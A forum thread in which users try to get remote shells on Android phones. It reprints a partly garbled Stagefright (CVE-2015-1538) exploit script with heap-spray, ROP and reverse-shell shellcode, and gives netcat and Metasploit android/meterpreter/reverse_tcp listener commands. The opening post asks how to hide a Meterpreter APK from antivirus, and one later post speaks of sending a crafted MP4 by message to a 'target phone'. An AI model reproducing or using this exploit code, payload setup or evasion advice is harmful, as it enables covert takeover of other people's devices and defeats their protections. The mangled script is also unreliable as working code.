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Hi, I have a great interest in computer security and research exploits and pen-testing techniques as a hobby. Recently I started looking into mobile devices. Android in specific because of the stagefright exploit that was recently released but I'm not an expert so I'm having trouble trying to use it. I usually use metasploit for my testing but not sure how to use the stagefright exploit with it. All I've been able to do so far is create an apk file with an android meterpreter payload and set up a multi handler listener in a vps so I can catch the connections. It works on some phones if it doesn't have any security on them but when they have lookout or some other anti-virus software it kills the sessions or doesn't allow them at all.

I'm looking for a little help. Is there a way to encode the apk file so it doesn't get detected by the anti-virus software or another attack that should be more successful like embedding the payload on a web page?

Also if anyone can point me in the right direction on how to use the stagefright exploit to create a meterpreter session I would appreciate it.


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I'm not really a Python or Android guy. But I was reading about this yesterday. Here's a script that you can make the MP4 file. There are some options toward the end of the code. I made them red. I'm not even sure what -r and -s are. Anyway when I run this thing I get an error no module named mp4. So I'm guessing I don't have that library installed. Anyhow truth be told. I can't remember where I got this script from. I'm sure there will be a metasploit module for this pretty soon.

-c I think is the same as LHOST


-o is the name of the output file

So I'm thinking you just start a listener then launch send the multimedia in a message and it connects back.

#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
# Don't forget, the output of "create_mp4" can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one...
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
# "With great power comes great responsibility." - Uncle Ben

import struct
import socket

# Creates a single MP4 atom - LEN, TAG, DATA
def make_chunk(tag, data):
    if len(tag) != 4:
        raise 'Yo! They call it "FourCC" for a reason.'
    ret = struct.pack('>L', len(data) + 8)
    ret += tag
    ret += data
    return ret

# Make an 'stco' atom - Sample Table Chunk Offets
def make_stco(extra=''):
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mNumChunkOffsets
    return make_chunk('stco', ret+extra)

# Make an 'stsz' atom - Sample Table Size
def make_stsz(extra=''):
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mDefaultSampleSize
    ret += struct.pack('>L', 0) # mNumSampleSizes
    return make_chunk('stsz', ret+extra)

# Make an 'stts' atom - Sample Table Time-to-Sample
def make_stts():
    ret =  struct.pack('>L', 0) # version
    ret += struct.pack('>L', 0) # mTimeToSampleCount
    return make_chunk('stts', ret)

# This creates a single Sample Table Sample-to-Chunk entry
def make_stsc_entry(start, per, desc):
    ret = ''
    ret += struct.pack('>L', start + 1)
    ret += struct.pack('>L', per)
    ret += struct.pack('>L', desc)
    return ret

# Make an 'stsc' chunk - Sample Table Sample-to-Chunk
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
    ret =  struct.pack('>L', 0) # version/flags

    # this is the clean version...
    if not do_overflow:
        ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
        ret += 'Z' * (12 * num_alloc)
        return make_chunk('stsc', ret)

    # now the explicit version. (trigger the bug)
    ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets

    # fill in the entries that will overflow the buffer
    for x in range(0, num_write):
        ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)

    ret = make_chunk('stsc', ret)

    # patch the data_size
    ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]

    return ret

# Build the ROP chain
# ROP pivot by Georg Wicherski! Thanks!
(gdb) x/10i __dl_restore_core_regs
   0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
   0xb0002854 <__dl_restore_core_regs+4>:   ldm r1, {r3, r4, r5}
   0xb0002858 <__dl_restore_core_regs+8>:   push    {r3, r4, r5}
   0xb000285c <__dl_restore_core_regs+12>:  ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
   0xb0002860 <__dl_restore_core_regs+16>:  ldm sp, {sp, lr, pc}

b0001144 <__dl_mprotect>:
b0001144:       e92d0090        push    {r4, r7}
b0001148:       e3a0707d        mov     r7, #125        ; 0x7d
b000114c:       ef000000        svc     0x00000000
b0001150:       e8bd0090        pop     {r4, r7}
b0001154:       e1b00000        movs    r0, r0
b0001158:       512fff1e        bxpl    lr
b000115c:       ea0015cc        b       b0006894 <__dl_raise+0x10>

def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
    rop = ''
    rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
    rop += struct.pack('<L', 0xb0002a98)           # new lr - pop {pc}
    rop += struct.pack('<L', 0xb00038b2+1)         # new pc: pop {r0, r1, r2, r3, r4, pc}

    rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 - base address (page aligned)
    rop += struct.pack('<L', 0x1000)               # new r1 - length
    rop += struct.pack('<L', 7)                    # new r2 - protection
    rop += struct.pack('<L', 0xd000d003)           # new r3 - scratch
    rop += struct.pack('<L', 0xd000d004)           # new r4 - scratch
    rop += struct.pack('<L', 0xb0001144)           # new pc - _dl_mprotect

    native_start = sp_addr + 0x80
    rop += struct.pack('<L', native_start)         # address of native payload
    #rop += struct.pack('<L', 0xfeedfed5)          # top of stack...
    # linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
    buf =  ''
    # fork
    buf += '\x02\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # continue if not parent...
    buf += '\x00\x00\x50\xe3'
    buf += '\x02\x00\x00\x0a'
    # exit parent
    buf += '\x00\x00\xa0\xe3'
    buf += '\x01\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # setsid in child
    buf += '\x42\x70\xa0\xe3'
    buf += '\x00\x00\x00\xef'
    # socket/connect/dup2/dup2/dup2
    buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
    buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
    buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
    buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
    buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
    buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
    buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
    buf += '\xe3\x00\x00\x00\xef'
    # execve(shell, argv, env)
    buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
    buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
    buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
    buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
    buf += '\xef\x02\x00'
    # Add the connect back host/port
    buf += struct.pack('!H', cb_port)
    cb_host = socket.inet_aton(cb_host)
    buf += struct.pack('=4s', cb_host)
    # shell -
    buf += '/system/bin/sh\x00\x00'
    # argv -
    buf += 'sh\x00\x00'
    # env -
    buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'

    # Add some identifiable stuff, just in case something goes awry...
    rop_start_off = 0x34
    x = rop_start_off + len(rop)
    while len(rop) < 0x80 - rop_start_off:
        rop += struct.pack('<L', 0xf0f00000+x)
        x += 4

    # Add the native payload...
    rop += buf

    return rop

# Build an mp4 that exploits CVE-2015-1538 #1
# We mimic meow.3gp here...
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
    chunks = []

    # Build the MP4 header...
    ftyp =  'mp42'
    ftyp += struct.pack('>L', 0)
    ftyp += 'mp42'
    ftyp += 'isom'
    chunks.append(make_chunk('ftyp', ftyp))

    # Note, this causes a few allocations...
    moov_data = ''
    moov_data += make_chunk('mvhd',
        struct.pack('>LL', 0, 0x41414141) +
        ('B' * 0x5c) )

    # Add a minimal, verified trak to satisfy mLastTrack being set
    moov_data += make_chunk('trak',
            make_stsc(0x28, 0x28) +
            make_stco() +
            make_stsz() +
            make_stts() ))

    # Spray the heap using a large tx3g chunk (can contain binary data!)
       0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>:   ldr r4, [r0, #4]  ; load mRefs
       0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>:   mov r5, r0
       0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>:   mov r6, r1
       0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>:   mov r0, r4
       0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>:  blx 0x40069884    ; atomic_decrement
       0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>:  cmp r0, #1        ; must be 1
       0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>:  bne.n   0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
       0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>:  ldr r0, [r4, #8]  ; load refs->mBase
       0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>:  ldr r1, [r0, #0]  ; load mBase._vptr
       0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>:  ldr r2, [r1, #12] ; load method address
       0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>:  mov r1, r6
       0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>:  blx r2            ; call it!
    page = ''
    off = 0  # the offset to the next object
    off += 8
    page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28)    # _vptr.RefBase (for when we smash mDataSource)
    page += struct.pack('<L', sp_addr + off) # mRefs
    off += 16
    page += struct.pack('<L', 1)             # mStrong
    page += struct.pack('<L', 0xc0dedbad)    # mWeak
    page += struct.pack('<L', sp_addr + off) # mBase
    page += struct.pack('<L', 16)            # mFlags (dont set OBJECT_LIFETIME_MASK)
    off += 8
    page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
    page += struct.pack('<L', 0xf00dbabe)    # mBase.mRefs (unused)
    off += 16
    page += struct.pack('<L', 0xc0de0000 + 0x00)  # vtable entry 0
    page += struct.pack('<L', 0xc0de0000 + 0x04)  # vtable entry 4
    page += struct.pack('<L', 0xc0de0000 + 0x08)  # vtable entry 8
    page += struct.pack('<L', newpc_val)          # vtable entry 12
    rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
    x = len(page)
    while len(page) < 4096:
        page += struct.pack('<L', 0xf0f00000+x)
        x += 4

    off = 0x34
    page = page[:off] + rop + page[off+len(rop):]
    spray = page * (((2*1024*1024) / len(page)) - 20)
    moov_data += make_chunk('tx3g', spray)
    block = 'A' * 0x1c
    bigger = 'B' * 0x40
    udta = make_chunk('udta',
            struct.pack('>L', 0) +
                make_chunk('cpil',    make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
                make_chunk('trkn',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
                make_chunk('disk',    make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
                make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('aART',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
                make_chunk('gnre',    make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
                make_chunk('covr',    make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
                make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
                make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
                make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
    moov_data += udta

    # Make the nasty trak
    tkhd1 = ''.join([
        '\x00',       # version
        'D' * 3,      # padding
        'E' * (5*4),  # {c,m}time, id, ??, duration
        'F' * 0x10,   # ??
            0x10000,  # a00
            0,        # a01
            0,        # dx
            0,        # a10
            0x10000,  # a11
            0),       # dy
        'G' * 0x14

    trak1 = ''
    trak1 += make_chunk('tkhd', tkhd1)

    mdhd1 = ''.join([
        '\x00',       # version
        'D' * 0x17,   # padding

    mdia1 = ''
    mdia1 += make_chunk('mdhd', mdhd1)
    mdia1 += make_chunk('hdlr', 'F' * 0x3a)

    dinf1 = ''
    dinf1 += make_chunk('dref', 'H' * 0x14)

    minf1 = ''
    minf1 += make_chunk('smhd', 'G' * 0x08)
    minf1 += make_chunk('dinf', dinf1)

    # Build the nasty sample table to trigger the vulnerability here.
    stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER

    # Add the stbl to the minf chunk
    minf1 += make_chunk('stbl', stbl1)

    # Add the minf to the mdia chunk
    mdia1 += make_chunk('minf', minf1)

    # Add the mdia to the track
    trak1 += make_chunk('mdia', mdia1)

    # Add the nasty track to the moov data
    moov_data += make_chunk('trak', trak1)

    # Finalize the moov chunk
    moov = make_chunk('moov', moov_data)

    # Combine outer chunks together and voila.
    data = ''.join(chunks)

    return data

if __name__ == '__main__':
    import sys
    import mp4
    import argparse

    def write_file(path, content):
        with open(path, 'wb') as f:

    def addr(sval):
        if sval.startswith('0x'):
            return int(sval, 16)
        return int(sval)

    # The address of a fake StrongPointer object (sprayed)
    sp_addr   = 0x41d00010  # takju @ imm76i - 2MB (via hangouts)

    # The address to of our ROP pivot
    newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs

    # Allow the user to override parameters
    parser = argparse.ArgumentParser()
    parser.add_argument('-c', '--connectback-host', dest='cbhost', default='')
    parser.add_argument('-p', '--connectback-port', dest='cbport', type=int, default=12345)
    parser.add_argument('-s', '--spray-address', dest='spray_addr', type=addr, default=None)
    parser.add_argument('-r', '--rop-pivot', dest='rop_pivot', type=addr, default=None)
    parser.add_argument('-o', '--output-file', dest='output_file', default='cve-2015-1538-1.mp4')
    args = parser.parse_args()

    if len(sys.argv) == 1:

    if args.spray_addr == None:
        args.spray_addr = sp_addr
    if args.rop_pivot == None:
        args.rop_pivot = newpc_val

    # Build the MP4 file...
    data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
    print('[*] Saving crafted MP4 to %s ...' % args.output_file)
    write_file(args.output_file, data)

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Correction I renamed the script to mp4.py and was able to build the MP4 by running

./mp4.py -c -p 1999 -o donkeypunch

The payload is a modified linux/armle/shell_reverse_tcp according comments in the script.

maybe open netcat with something like this

nc -l -p 1999

Then send the message to the target phone. Maybe shell. Or not

I think there are some other issues going on here. But I suck at hacking.

I think the default memory address is associated with the hangouts app in this script. I could be wrong though. I'm wrong a lot. Let's see what someone a little smarter has to say about it.

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The Stagefright stuff that has been released so far is very hardware and software version specific as it depends on fixed memory locations, there isn't a generic "exploit all" exploit out there. Unless you are running the exact hardware that exploit is written for and then running it on the right version of Android, then it won't do anything.

If you want more info on this, check out the Risky Business podcast from about a month ago, they did a good piece on it that talked all about the limitations.

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I hadn't thought of this. There are a bunch of stagefright vulnerability detector apps out there. I'm pretty sure all it does is loop through the memory addresses and tries to run a bit of code until it is successful. So finding source for stagefright vuln detector would be a big help. You could modify it then run in it on your phone to find the memrory location then craft a vuln for that phone easy squeezy. That's probably what the app developers are doing if they are smart.

Anyhow then you create a bunch of specific exploits for each model of phone and android version. But you would still have to know the model of the phone you were trying to shell.

Anyhow have any of you seen some source code for a stagefright vuln detector?

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I tried creating an apk and installing it. I can put it on my apache web server for download. I can pass the thing through Google drive. I can install it on Android if change security settings to allow applications other than Google play. Then the thing installs just fine. I had problems with the multi/handler because it wanted to start on a default port. I generated the payload on the default port. 24000something. I can't remember the port number. That wasn't a big deal. The default listener didn't get a connection back from meterpreter. I tried just killing the process associated with the listener but it killed the rpc daemon.

I set what I thought were the appropriate options LPORT to something like 8888 or other generic port but it keeps wanting to connect on the port the rpc daemon is running on which is really annoying. What am I doing wrong there?

Is there a way to configure metasploit to start the default listener on a specific port?

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use multi/handler

set PAYLOAD android/meterpreter/reverse_tcp

set LHOST xx.xx.xx.xx

set LPORT 24000

exploit -j

make sure that u have the port 24000 open on your router and link it to ur internal ip address

type in terminal nc -lvp 24000

and check if ur port is open throw this site http://www.canyouseeme.org/

if u get a connection from this site that means that all is good with u

that shall work fine

and if u want to use a dynamic dns


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